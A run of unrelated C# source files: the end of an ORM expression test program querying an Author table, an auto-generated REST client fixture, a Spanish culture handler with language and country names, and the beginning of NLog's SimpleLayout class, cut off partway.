// delete where City is null expected = 2; rows = db.Delete(ev); Console.WriteLine(ev.WhereExpression); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, rows, expected == rows ? "OK" : "************** FAILED ***************"); // lets select all records ordered by Rate Descending and Name Ascending expected = 14; ev.Where().OrderBy(rn => new { at = Sql.Desc(rn.Rate), rn.Name }); // clear where condition result = db.Select(ev); Console.WriteLine(ev.WhereExpression); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); Console.WriteLine(ev.OrderByExpression); var author = result.FirstOrDefault(); Console.WriteLine("Expected:{0} Selected:{1} {2}", "Claudia Espinel", author.Name, "Claudia Espinel" == author.Name ? "OK" : "************** FAILED ***************"); // select only first 5 rows .... expected = 5; ev.Limit(5); // note: order is the same as in the last sentence result = db.Select(ev); Console.WriteLine(ev.WhereExpression); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); // and finally lets select only Name and City (name will be "UPPERCASED" ) ev.Select(rn => new { at = Sql.As(rn.Name.ToUpper(), "Name"), rn.City }); Console.WriteLine(ev.SelectExpression); result = db.Select(ev); author = result.FirstOrDefault(); Console.WriteLine("Expected:{0} Selected:{1} {2}", "Claudia Espinel".ToUpper(), author.Name, "Claudia Espinel".ToUpper() == author.Name ? "OK" : "************** FAILED ***************"); ev.Select(rn => new { at = Sql.As(rn.Name.ToUpper(), rn.Name), rn.City }); Console.WriteLine(ev.SelectExpression); result = db.Select(ev); author = result.FirstOrDefault(); Console.WriteLine("Expected:{0} Selected:{1} {2}", "Claudia Espinel".ToUpper(), author.Name, "Claudia Espinel".ToUpper() == author.Name ? "OK" : "************** FAILED ***************"); //paging : ev.Limit(0, 4);// first page, page size=4; result = db.Select(ev); author = result.FirstOrDefault(); Console.WriteLine("Expected:{0} Selected:{1} {2}", "Claudia Espinel".ToUpper(), author.Name, "Claudia Espinel".ToUpper() == author.Name ? "OK" : "************** FAILED ***************"); ev.Limit(4, 4);// second page result = db.Select(ev); author = result.FirstOrDefault(); Console.WriteLine("Expected:{0} Selected:{1} {2}", "Jorge Garzon".ToUpper(), author.Name, "Jorge Garzon".ToUpper() == author.Name ? "OK" : "************** FAILED ***************"); ev.Limit(8, 4);// third page result = db.Select(ev); author = result.FirstOrDefault(); Console.WriteLine("Expected:{0} Selected:{1} {2}", "Rodger Contreras".ToUpper(), author.Name, "Rodger Contreras".ToUpper() == author.Name ? "OK" : "************** FAILED ***************"); // select distinct.. ev.Limit().OrderBy(); // clear limit, clear order for postres ev.SelectDistinct(r => r.City); expected = 6; result = db.Select(ev); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); ev.Select(r=> Sql.As(Sql.Max(r.Birthday), "Birthday")); result = db.Select(ev); var expectedResult = authors.Max(r=>r.Birthday); Console.WriteLine("Expected:{0} Selected {1} {2}",expectedResult, result[0].Birthday, expectedResult == result[0].Birthday ? "OK" : "************** FAILED ***************"); ev.Select(r=> Sql.As(Sql.Max(r.Birthday), r.Birthday)); result = db.Select(ev); expectedResult = authors.Max(r=>r.Birthday); Console.WriteLine("Expected:{0} Selected {1} {2}",expectedResult, result[0].Birthday, expectedResult == result[0].Birthday ? "OK" : "************** FAILED ***************"); var r1 = db.FirstOrDefault(ev); Console.WriteLine("FOD: Expected:{0} Selected {1} {2}",expectedResult, r1.Birthday, expectedResult == r1.Birthday ? "OK" : "************** FAILED ***************"); var r2 = db.GetScalar<Author, DateTime>( e => Sql.Max(e.Birthday) ); Console.WriteLine("GetScalar DateTime: Expected:{0} Selected {1} {2}",expectedResult, r2, expectedResult == r2 ? "OK" : "************** FAILED ***************"); ev.Select(r=> Sql.As( Sql.Min(r.Birthday), "Birthday")); result = db.Select(ev); expectedResult = authors.Min(r=>r.Birthday); Console.WriteLine("Expected:{0} Selected {1} {2}",expectedResult, result[0].Birthday, expectedResult == result[0].Birthday? "OK" : "************** FAILED ***************"); ev.Select(r=> Sql.As( Sql.Min(r.Birthday), r.Birthday)); result = db.Select(ev); expectedResult = authors.Min(r=>r.Birthday); Console.WriteLine("Expected:{0} Selected {1} {2}",expectedResult, result[0].Birthday, expectedResult == result[0].Birthday? "OK" : "************** FAILED ***************"); ev.Select(r=>new{r.City, MaxResult=Sql.As( Sql.Min(r.Birthday), "Birthday") }) .GroupBy(r=>r.City) .OrderBy(r=>r.City); result = db.Select(ev); var expectedStringResult= "Berlin"; Console.WriteLine("Expected:{0} Selected {1} {2}",expectedResult, result[0].City, expectedStringResult == result[0].City ? "OK" : "************** FAILED ***************"); ev.Select(r=>new{r.City, MaxResult=Sql.As( Sql.Min(r.Birthday), r.Birthday) }) .GroupBy(r=>r.City) .OrderBy(r=>r.City); result = db.Select(ev); expectedStringResult= "Berlin"; Console.WriteLine("Expected:{0} Selected {1} {2}",expectedResult, result[0].City, expectedStringResult == result[0].City ? "OK" : "************** FAILED ***************"); r1 = db.FirstOrDefault(ev); Console.WriteLine("FOD: Expected:{0} Selected {1} {2}",expectedResult, r1.City, expectedStringResult == result[0].City ? "OK" : "************** FAILED ***************"); var expectedDecimal= authors.Max(e=>e.Earnings); Decimal? r3 = db.GetScalar<Author,Decimal?>(e=> Sql.Max(e.Earnings)); Console.WriteLine("GetScalar decimal?: Expected:{0} Selected {1} {2}",expectedDecimal, r3.Value, expectedDecimal == r3.Value ? "OK" : "************** FAILED ***************"); var expectedString= authors.Max(e=>e.Name); string r4 = db.GetScalar<Author,String>(e=> Sql.Max(e.Name)); Console.WriteLine("GetScalar string?: Expected:{0} Selected {1} {2}",expectedString, r4, expectedString == r4 ? "OK" : "************** FAILED ***************"); var expectedDate= authors.Max(e=>e.LastActivity); DateTime? r5 = db.GetScalar<Author,DateTime?>(e=> Sql.Max(e.LastActivity)); Console.WriteLine("GetScalar datetime?: Expected:{0} Selected {1} {2}", expectedDate, r5, expectedDate == r5 ? "OK" : "************** FAILED ***************"); var expectedDate51= authors.Where(e=> e.City=="Bogota").Max(e=>e.LastActivity); DateTime? r51 = db.GetScalar<Author,DateTime?>( e=> Sql.Max(e.LastActivity), e=> e.City=="Bogota" ); Console.WriteLine("GetScalar datetime?: Expected:{0} Selected {1} {2}", expectedDate51, r51, expectedDate51 == r51 ? "OK" : "************** FAILED ***************"); try{ var expectedBool= authors.Max(e=>e.Active); bool r6 = db.GetScalar<Author,bool>(e=> Sql.Max(e.Active)); Console.WriteLine("GetScalar bool: Expected:{0} Selected {1} {2}",expectedBool, r6, expectedBool == r6 ? "OK" : "************** FAILED ***************"); } catch(Exception e){ if(dialect.Name=="PostgreSQL") Console.WriteLine("OK PostgreSQL: " + e.Message); else Console.WriteLine("************** FAILED *************** " + e.Message); } // Tests for predicate overloads that make use of the expression visitor Console.WriteLine("First author by name (exists)"); author = db.First<Author>(q => q.Name == "Jorge Garzon"); Console.WriteLine("Expected:{0} ; Selected:{1}, OK? {2}", "Jorge Garzon", author.Name, "Jorge Garzon" == author.Name); try { Console.WriteLine("First author by name (does not exist)"); author = db.First<Author>(q => q.Name == "Does not exist"); Console.WriteLine("Expected exception thrown, OK? False"); } catch { Console.WriteLine("Expected exception thrown, OK? True"); } Console.WriteLine("First author or default (does not exist)"); author = db.FirstOrDefault<Author>(q => q.Name == "Does not exist"); Console.WriteLine("Expected:null ; OK? {0}", author == null); Console.WriteLine("First author or default by city (multiple matches)"); author = db.FirstOrDefault<Author>(q => q.City == "Bogota"); Console.WriteLine("Expected:{0} ; Selected:{1}, OK? {2}", "Angel Colmenares", author.Name, "Angel Colmenares" == author.Name); a.City = "Bogota"; author = db.FirstOrDefault<Author>(q => q.City == a.City); Console.WriteLine("Expected:{0} ; Selected:{1}, OK? {2}", "Angel Colmenares", author.Name, "Angel Colmenares" == author.Name); // count test var expectedCount= authors.Count(); long r7 = db.GetScalar<Author,long>(e=> Sql.Count(e.Id)); Console.WriteLine("GetScalar long: Expected:{0} Selected {1} {2}",expectedCount, r7, expectedCount == r7 ? "OK" : "************** FAILED ***************"); expectedCount= authors.Count(e=> e.City=="Bogota"); r7 = db.GetScalar<Author,long>( e=> Sql.Count(e.Id), e=> e.City=="Bogota" ); Console.WriteLine("GetScalar long: Expected:{0} Selected {1} {2}",expectedCount, r7, expectedCount == r7 ? "OK" : "************** FAILED ***************"); // more updates..... Console.WriteLine("more updates....................."); ev.Update();// all fields will be updated // select and update expected=1; var rr= db.FirstOrDefault<Author>(rn => rn.Name=="Luis garzon"); rr.City="Madrid"; rr.Comments="Updated"; ev.Where().Where(r=>r.Id==rr.Id); // if omit, then all records will be updated rows=db.UpdateOnly(rr,ev); // == dbCmd.Update(rr) but it returns void Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, rows, expected == rows ? "OK" : "************** FAILED ***************"); expected=0; ev.Where().Where(r=>r.City=="Ciudad Gotica"); rows=db.UpdateOnly(rr, ev); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, rows, expected == rows ? "OK" : "************** FAILED ***************"); expected= db.Select<Author>(x=>x.City=="Madrid").Count; author = new Author(){Active=false}; rows=db.UpdateOnly(author, x=>x.Active, x=>x.City=="Madrid"); Console.WriteLine("Expected:{0} Updated:{1} {2}", expected, rows, expected == rows ? "OK" : "************** FAILED ***************"); expected= db.Select<Author>(x=>x.Active==false).Count; rows = db.Delete<Author>( x=>x.Active==false); Console.WriteLine("Expected:{0} Deleted:{1} {2}", expected, rows, expected == rows ? "OK" : "************** FAILED ***************"); DateTime t3= DateTime.Now; Console.WriteLine("Expressions test in: {0}", t3 - t2); Console.WriteLine("All test in : {0}", t3 - t1); } catch (Exception e) { Console.WriteLine(e.Message); } } Console.WriteLine("Press enter to return to main menu"); Console.ReadLine(); PaintMenu(); } } }
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. See License.txt in the project root for // license information. // // Code generated by Microsoft (R) AutoRest Code Generator. // Changes may cause incorrect behavior and will be lost if the code is // regenerated. namespace Fixtures.MirrorRecursiveTypes { using System; using System.Linq; using System.Collections.Generic; using System.Diagnostics; using System.Net; using System.Net.Http; using System.Net.Http.Headers; using System.Text; using System.Text.RegularExpressions; using System.Threading; using System.Threading.Tasks; using Microsoft.Rest; using Microsoft.Rest.Serialization; using Newtonsoft.Json; using Models; /// <summary> /// Some cool documentation. /// </summary> public partial class RecursiveTypesAPI : ServiceClient<RecursiveTypesAPI>, IRecursiveTypesAPI { /// <summary> /// The base URI of the service. /// </summary> public Uri BaseUri { get; set; } /// <summary> /// Gets or sets json serialization settings. /// </summary> public JsonSerializerSettings SerializationSettings { get; private set; } /// <summary> /// Gets or sets json deserialization settings. /// </summary> public JsonSerializerSettings DeserializationSettings { get; private set; } /// <summary> /// Initializes a new instance of the RecursiveTypesAPI class. /// </summary> /// <param name='handlers'> /// Optional. The delegating handlers to add to the http client pipeline. /// </param> public RecursiveTypesAPI(params DelegatingHandler[] handlers) : base(handlers) { this.Initialize(); } /// <summary> /// Initializes a new instance of the RecursiveTypesAPI class. /// </summary> /// <param name='rootHandler'> /// Optional. The http client handler used to handle http transport. /// </param> /// <param name='handlers'> /// Optional. The delegating handlers to add to the http client pipeline. /// </param> public RecursiveTypesAPI(HttpClientHandler rootHandler, params DelegatingHandler[] handlers) : base(rootHandler, handlers) { this.Initialize(); } /// <summary> /// Initializes a new instance of the RecursiveTypesAPI class. /// </summary> /// <param name='baseUri'> /// Optional. The base URI of the service. /// </param> /// <param name='handlers'> /// Optional. The delegating handlers to add to the http client pipeline. /// </param> public RecursiveTypesAPI(Uri baseUri, params DelegatingHandler[] handlers) : this(handlers) { if (baseUri == null) { throw new ArgumentNullException("baseUri"); } this.BaseUri = baseUri; } /// <summary> /// Initializes a new instance of the RecursiveTypesAPI class. /// </summary> /// <param name='baseUri'> /// Optional. The base URI of the service. /// </param> /// <param name='rootHandler'> /// Optional. The http client handler used to handle http transport. /// </param> /// <param name='handlers'> /// Optional. The delegating handlers to add to the http client pipeline. /// </param> public RecursiveTypesAPI(Uri baseUri, HttpClientHandler rootHandler, params DelegatingHandler[] handlers) : this(rootHandler, handlers) { if (baseUri == null) { throw new ArgumentNullException("baseUri"); } this.BaseUri = baseUri; } /// <summary> /// An optional partial-method to perform custom initialization. ///</summary> partial void CustomInitialize(); /// <summary> /// Initializes client properties. /// </summary> private void Initialize() { this.BaseUri = new Uri("https://management.azure.com/"); SerializationSettings = new JsonSerializerSettings { Formatting = Formatting.Indented, DateFormatHandling = DateFormatHandling.IsoDateFormat, DateTimeZoneHandling = DateTimeZoneHandling.Utc, NullValueHandling = NullValueHandling.Ignore, ReferenceLoopHandling = ReferenceLoopHandling.Serialize, ContractResolver = new ReadOnlyJsonContractResolver(), Converters = new List<JsonConverter> { new Iso8601TimeSpanConverter() } }; DeserializationSettings = new JsonSerializerSettings { DateFormatHandling = DateFormatHandling.IsoDateFormat, DateTimeZoneHandling = DateTimeZoneHandling.Utc, NullValueHandling = NullValueHandling.Ignore, ReferenceLoopHandling = ReferenceLoopHandling.Serialize, ContractResolver = new ReadOnlyJsonContractResolver(), Converters = new List<JsonConverter> { new Iso8601TimeSpanConverter() } }; CustomInitialize(); } /// <summary> /// Products /// </summary> /// The Products endpoint returns information about the Uber products offered /// at a given location. The response includes the display name and other /// details about each product, and lists the products in the proper display /// order. /// <param name='subscriptionId'> /// Subscription Id. /// </param> /// <param name='resourceGroupName'> /// Resource Group Id. /// </param> /// <param name='apiVersion'> /// API Id. /// </param> /// <param name='body'> /// API body mody. /// </param> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> /// <return> /// A response object containing the response body and response headers. /// </return> public async Task<HttpOperationResponse<Product>> PostWithHttpMessagesAsync(string subscriptionId, string resourceGroupName, string apiVersion, Product body = default(Product), Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) { if (subscriptionId == null) { throw new ValidationException(ValidationRules.CannotBeNull, "subscriptionId"); } if (resourceGroupName == null) { throw new ValidationException(ValidationRules.CannotBeNull, "resourceGroupName"); } if (apiVersion == null) { throw new ValidationException(ValidationRules.CannotBeNull, "apiVersion"); } // Tracing bool _shouldTrace = ServiceClientTracing.IsEnabled; string _invocationId = null; if (_shouldTrace) { _invocationId = ServiceClientTracing.NextInvocationId.ToString(); Dictionary<string, object> tracingParameters = new Dictionary<string, object>(); tracingParameters.Add("subscriptionId", subscriptionId); tracingParameters.Add("resourceGroupName", resourceGroupName); tracingParameters.Add("apiVersion", apiVersion); tracingParameters.Add("body", body); tracingParameters.Add("cancellationToken", cancellationToken); ServiceClientTracing.Enter(_invocationId, this, "Post", tracingParameters); } // Construct URL var _baseUrl = this.BaseUri.AbsoluteUri; var _url = new Uri(new Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "subscriptions/{subscriptionId}/resourcegroups/{resourceGroupName}/Microsoft.Cache/Redis").ToString(); _url = _url.Replace("{subscriptionId}", Uri.EscapeDataString(subscriptionId)); _url = _url.Replace("{resourceGroupName}", Uri.EscapeDataString(resourceGroupName)); _url = _url.Replace("{apiVersion}", Uri.EscapeDataString(apiVersion)); // Create HTTP transport objects HttpRequestMessage _httpRequest = new HttpRequestMessage(); HttpResponseMessage _httpResponse = null; _httpRequest.Method = new HttpMethod("POST"); _httpRequest.RequestUri = new Uri(_url); // Set Headers if (customHeaders != null) { foreach(var _header in customHeaders) { if (_httpRequest.Headers.Contains(_header.Key)) { _httpRequest.Headers.Remove(_header.Key); } _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); } } // Serialize Request string _requestContent = null; if(body != null) { _requestContent = SafeJsonConvert.SerializeObject(body, this.SerializationSettings); _httpRequest.Content = new StringContent(_requestContent, Encoding.UTF8); _httpRequest.Content.Headers.ContentType = MediaTypeHeaderValue.Parse("application/json; charset=utf-8"); } // Send Request if (_shouldTrace) { ServiceClientTracing.SendRequest(_invocationId, _httpRequest); } cancellationToken.ThrowIfCancellationRequested(); _httpResponse = await this.HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); if (_shouldTrace) { ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); } HttpStatusCode _statusCode = _httpResponse.StatusCode; cancellationToken.ThrowIfCancellationRequested(); string _responseContent = null; if ((int)_statusCode != 200) { var ex = new ErrorException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); try { _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); Error _errorBody = SafeJsonConvert.DeserializeObject<Error>(_responseContent, this.DeserializationSettings); if (_errorBody != null) { ex.Body = _errorBody; } } catch (JsonException) { // Ignore the exception } ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); if (_shouldTrace) { ServiceClientTracing.Error(_invocationId, ex); } _httpRequest.Dispose(); if (_httpResponse != null) { _httpResponse.Dispose(); } throw ex; } // Create Result var _result = new HttpOperationResponse<Product>(); _result.Request = _httpRequest; _result.Response = _httpResponse; // Deserialize Response if ((int)_statusCode == 200) { _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); try { _result.Body = SafeJsonConvert.DeserializeObject<Product>(_responseContent, this.DeserializationSettings); } catch (JsonException ex) { _httpRequest.Dispose(); if (_httpResponse != null) { _httpResponse.Dispose(); } throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); } } if (_shouldTrace) { ServiceClientTracing.Exit(_invocationId, _result); } return _result; } } }
/* * CID000a.cs - es culture handler. * * Copyright (c) 2003 Southern Storm Software, Pty Ltd * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ // Generated from "es.txt". namespace I18N.West { using System; using System.Globalization; using I18N.Common; public class CID000a : RootCulture { public CID000a() : base(0x000A) {} public CID000a(int culture) : base(culture) {} public override String Name { get { return "es"; } } public override String ThreeLetterISOLanguageName { get { return "spa"; } } public override String ThreeLetterWindowsLanguageName { get { return "ESP"; } } public override String TwoLetterISOLanguageName { get { return "es"; } } public override DateTimeFormatInfo DateTimeFormat { get { DateTimeFormatInfo dfi = base.DateTimeFormat; dfi.AbbreviatedDayNames = new String[] {"dom", "lun", "mar", "mi\u00E9", "jue", "vie", "s\u00E1b"}; dfi.DayNames = new String[] {"domingo", "lunes", "martes", "mi\u00E9rcoles", "jueves", "viernes", "s\u00E1bado"}; dfi.AbbreviatedMonthNames = new String[] {"ene", "feb", "mar", "abr", "may", "jun", "jul", "ago", "sep", "oct", "nov", "dic", ""}; dfi.MonthNames = new String[] {"enero", "febrero", "marzo", "abril", "mayo", "junio", "julio", "agosto", "septiembre", "octubre", "noviembre", "diciembre", ""}; dfi.DateSeparator = "/"; dfi.TimeSeparator = ":"; dfi.LongDatePattern = "d' de 'MMMM' de 'yyyy"; dfi.LongTimePattern = "HH:mm:ss z"; dfi.ShortDatePattern = "d/MM/yy"; dfi.ShortTimePattern = "HH:mm"; dfi.FullDateTimePattern = "dddd d' de 'MMMM' de 'yyyy HH'H'mm'' z"; dfi.I18NSetDateTimePatterns(new String[] { "d:d/MM/yy", "D:dddd d' de 'MMMM' de 'yyyy", "f:dddd d' de 'MMMM' de 'yyyy HH'H'mm'' z", "f:dddd d' de 'MMMM' de 'yyyy HH:mm:ss z", "f:dddd d' de 'MMMM' de 'yyyy HH:mm:ss", "f:dddd d' de 'MMMM' de 'yyyy HH:mm", "F:dddd d' de 'MMMM' de 'yyyy HH:mm:ss", "g:d/MM/yy HH'H'mm'' z", "g:d/MM/yy HH:mm:ss z", "g:d/MM/yy HH:mm:ss", "g:d/MM/yy HH:mm", "G:d/MM/yy HH:mm:ss", "m:MMMM dd", "M:MMMM dd", "r:ddd, dd MMM yyyy HH':'mm':'ss 'GMT'", "R:ddd, dd MMM yyyy HH':'mm':'ss 'GMT'", "s:yyyy'-'MM'-'dd'T'HH':'mm':'ss", "t:HH'H'mm'' z", "t:HH:mm:ss z", "t:HH:mm:ss", "t:HH:mm", "T:HH:mm:ss", "u:yyyy'-'MM'-'dd HH':'mm':'ss'Z'", "U:dddd, dd MMMM yyyy HH:mm:ss", "y:yyyy MMMM", "Y:yyyy MMMM", }); return dfi; } set { base.DateTimeFormat = value; // not used } } public override String ResolveLanguage(String name) { switch(name) { case "root": return "ra\u00EDz"; case "af": return "afrikaans"; case "am": return "amharic"; case "ar": return "\u00E1rabe"; case "az": return "azerbayano"; case "be": return "bielorruso"; case "bg": return "b\u00FAlgaro"; case "bh": return "bihari"; case "bn": return "bengal\u00ED"; case "ca": return "catal\u00E1n"; case "cs": return "checo"; case "da": return "dan\u00E9s"; case "de": return "alem\u00E1n"; case "el": return "griego"; case "en": return "ingl\u00E9s"; case "eo": return "esperanto"; case "es": return "espa\u00F1ol"; case "et": return "estonio"; case "eu": return "vasco"; case "fa": return "farsi"; case "fi": return "finland\u00E9s"; case "fo": return "faro\u00E9s"; case "fr": return "franc\u00E9s"; case "ga": return "irland\u00E9s"; case "gl": return "gallego"; case "gu": return "goujarat\u00ED"; case "he": return "hebreo"; case "hi": return "hindi"; case "hr": return "croata"; case "hu": return "h\u00FAngaro"; case "hy": return "armenio"; case "id": return "indonesio"; case "is": return "island\u00e9s"; case "it": return "italiano"; case "ja": return "japon\u00E9s"; case "ka": return "georgiano"; case "kk": return "kazajo"; case "kl": return "groenland\u00E9s"; case "km": return "kmer"; case "kn": return "canara"; case "ko": return "coreano"; case "ku": return "kurdo"; case "kw": return "c\u00F3rnico"; case "ky": return "kirghiz"; case "la": return "lat\u00EDn"; case "lt": return "lituano"; case "lv": return "let\u00F3n"; case "mk": return "macedonio"; case "mn": return "mongol"; case "mr": return "marathi"; case "ms": return "malaisio"; case "mt": return "malt\u00e9s"; case "my": return "birmano"; case "nl": return "holand\u00E9s"; case "no": return "noruego"; case "pa": return "punjab\u00ED"; case "pl": return "polaco"; case "pt": return "portugu\u00E9s"; case "ro": return "rumano"; case "ru": return "ruso"; case "sh": return "serbo-croata"; case "sk": return "eslovaco"; case "sl": return "esloveno"; case "so": return "somal\u00ED"; case "sq": return "alban\u00E9s"; case "sr": return "servio"; case "sv": return "sueco"; case "sw": return "swahili"; case "te": return "telugu"; case "th": return "tailand\u00E9s"; case "ti": return "tigrinya"; case "tr": return "turco"; case "tt": return "tataro"; case "vi": return "vietnam\u00E9s"; case "uk": return "ucraniano"; case "ur": return "urdu"; case "uz": return "uzbeko"; case "zh": return "chino"; case "zu": return "zul\u00FA"; } return base.ResolveLanguage(name); } public override String ResolveCountry(String name) { switch(name) { case "AE": return "Emiratos \u00C1rabes Unidos"; case "AS": return "Samoa Americana"; case "BE": return "B\u00E9lgica"; case "BH": return "Bahr\u00E1in"; case "BR": return "Brasil"; case "BZ": return "Belice"; case "BY": return "Bielorrusia"; case "CA": return "Canad\u00E1"; case "CH": return "Suiza"; case "CZ": return "Chequia"; case "DE": return "Alemania"; case "DK": return "Dinamarca"; case "DO": return "Rep\u00FAblica Dominicana"; case "DZ": return "Argelia"; case "EG": return "Egipto"; case "ES": return "Espa\u00F1a"; case "FI": return "Finlandia"; case "FO": return "Islas Feroe"; case "FR": return "Francia"; case "GB": return "Reino Unido"; case "GL": return "Groenlanida"; case "GR": return "Grecia"; case "HR": return "Croacia"; case "HU": return "Hungr\u00EDa"; case "IE": return "Irlanda"; case "IQ": return "Irak"; case "IR": return "Ir\u00E1n"; case "IS": return "Islandia"; case "IT": return "Italia"; case "JO": return "Jordania"; case "JP": return "Jap\u00F3n"; case "KE": return "Kenia"; case "KP": return "Corea del Norte"; case "KR": return "Corea del Sur"; case "LB": return "L\u00EDbano"; case "LT": return "Lituania"; case "LU": return "Luxemburgo"; case "LV": return "Letonia"; case "MA": return "Marruecos"; case "MH": return "Islas Marshall"; case "MP": return "Islas Marianas del Norte"; case "MX": return "M\u00E9xico"; case "NL": return "Pa\u00EDses Bajos"; case "NO": return "Noruega"; case "NZ": return "Nueva Zelanda"; case "OM": return "Om\u00E1n"; case "PA": return "Panam\u00E1"; case "PE": return "Per\u00FA"; case "PH": return "Islas Filipinas"; case "PK": return "Pakist\u00E1n"; case "PL": return "Polonia"; case "RO": return "Rumania"; case "RU": return "Rusia"; case "SA": return "Arabia Saud\u00ED"; case "SD": return "Sud\u00E1n"; case "SE": return "Suecia"; case "SG": return "Singapur"; case "SI": return "Eslovenia"; case "SK": return "Eslovaquia"; case "SP": return "Servia"; case "SY": return "Siria"; case "TH": return "Tailandia"; case "TN": return "T\u00FAnez"; case "TR": return "Turqu\u00EDa"; case "TT": return "Trinidad y Tabago"; case "TW": return "Taiw\u00E1n"; case "UA": return "Ucraina"; case "UM": return "Islas Perif\u00E9ricas Menores de los Estados Unidos"; case "US": return "Estados Unidos"; case "VI": return "Islas V\u00EDrgenes de los Estados Unidos"; case "ZA": return "Sud\u00E1frica"; } return base.ResolveCountry(name); } private class PrivateTextInfo : _I18NTextInfo { public PrivateTextInfo(int culture) : base(culture) {} public override int EBCDICCodePage { get { return 20284; } } public override int OEMCodePage { get { return 850; } } public override String ListSeparator { get { return ";"; } } }; // class PrivateTextInfo public override TextInfo TextInfo { get { return new PrivateTextInfo(LCID); } } }; // class CID000a public class CNes : CID000a { public CNes() : base() {} }; // class CNes }; // namespace I18N.West
// // Copyright (c) 2004-2011 Jaroslaw Kowalski <jaak@jkowalski.net> // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions // are met: // // * Redistributions of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // // * Neither the name of Jaroslaw Kowalski nor the names of its // contributors may be used to endorse or promote products derived from this // software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF // THE POSSIBILITY OF SUCH DAMAGE. // namespace NLog.Layouts { using System; using System.Collections.ObjectModel; using System.Text; using NLog.Common; using NLog.Config; using NLog.Internal; using NLog.LayoutRenderers; /// <summary> /// Represents a string with embedded placeholders that can render contextual information. /// </summary> /// <remarks> /// This layout is not meant to be used explicitly. Instead you can just use a string containing layout /// renderers everywhere the layout is required. /// </remarks> [Layout("SimpleLayout")] [ThreadAgnostic] [AppDomainFixedOutput] public class SimpleLayout : Layout { private const int MaxInitialRenderBufferLength = 16384; private int maxRenderedLength; private string fixedText; private string layoutText; private ConfigurationItemFactory configurationItemFactory; /// <summary> /// Initializes a new instance of the <see cref="SimpleLayout" /> class. /// </summary> public SimpleLayout() : this(string.Empty) { } /// <summary> /// Initializes a new instance of the <see cref="SimpleLayout" /> class. /// </summary> /// <param name="txt">The layout string to parse.</param> public SimpleLayout(string txt) : this(txt, ConfigurationItemFactory.Default) { } /// <summary> /// Initializes a new instance of the <see cref="SimpleLayout"/> class. /// </summary> /// <param name="txt">The layout string to parse.</param> /// <param name="configurationItemFactory">The NLog factories to use when creating references to layout renderers.</param> public SimpleLayout(string txt, ConfigurationItemFactory configurationItemFactory) { this.configurationItemFactory = configurationItemFactory; this.Text = txt; } internal SimpleLayout(LayoutRenderer[] renderers, string text, ConfigurationItemFactory configurationItemFactory) { this.configurationItemFactory = configurationItemFactory; this.SetRenderers(renderers, text); } /// <summary> /// Original text before compile to Layout renderes /// </summary> public string OriginalText { get; private set; } /// <summary> /// Gets or sets the layout text. /// </summary> /// <docgen category='Layout Options' order='10' /> public string Text { get { return this.layoutText; } set { OriginalText = value; LayoutRenderer[] renderers; string txt; renderers = LayoutParser.CompileLayout( this.configurationItemFactory, new SimpleStringReader(value), false, out txt); this.SetRenderers(renderers, txt); } } /// <summary> /// Is the message fixed? (no Layout renderers used) /// </summary> public bool IsFixedText { get { return this.fixedText != null; } } /// <summary> /// Get the fixed text. Only set when <see cref="IsFixedText"/> is <c>true</c> /// </summary> public string FixedText { get { return fixedText; } } /// <summary> /// Gets a collection of <see cref="LayoutRenderer"/> objects that make up this layout. /// </summary> public ReadOnlyCollection<LayoutRenderer> Renderers { get; private set; } /// <summary> /// Converts a text to a simple layout. /// </summary> /// <param name="text">Text to be converted.</param> /// <returns>A <see cref="SimpleLayout"/> object.</returns> public static implicit operator SimpleLayout(string text) { return new SimpleLayout(text); } /// <summary> /// Escapes the passed text so that it can /// be used literally in all places where /// layout is normally expected without being /// treated as layout. /// 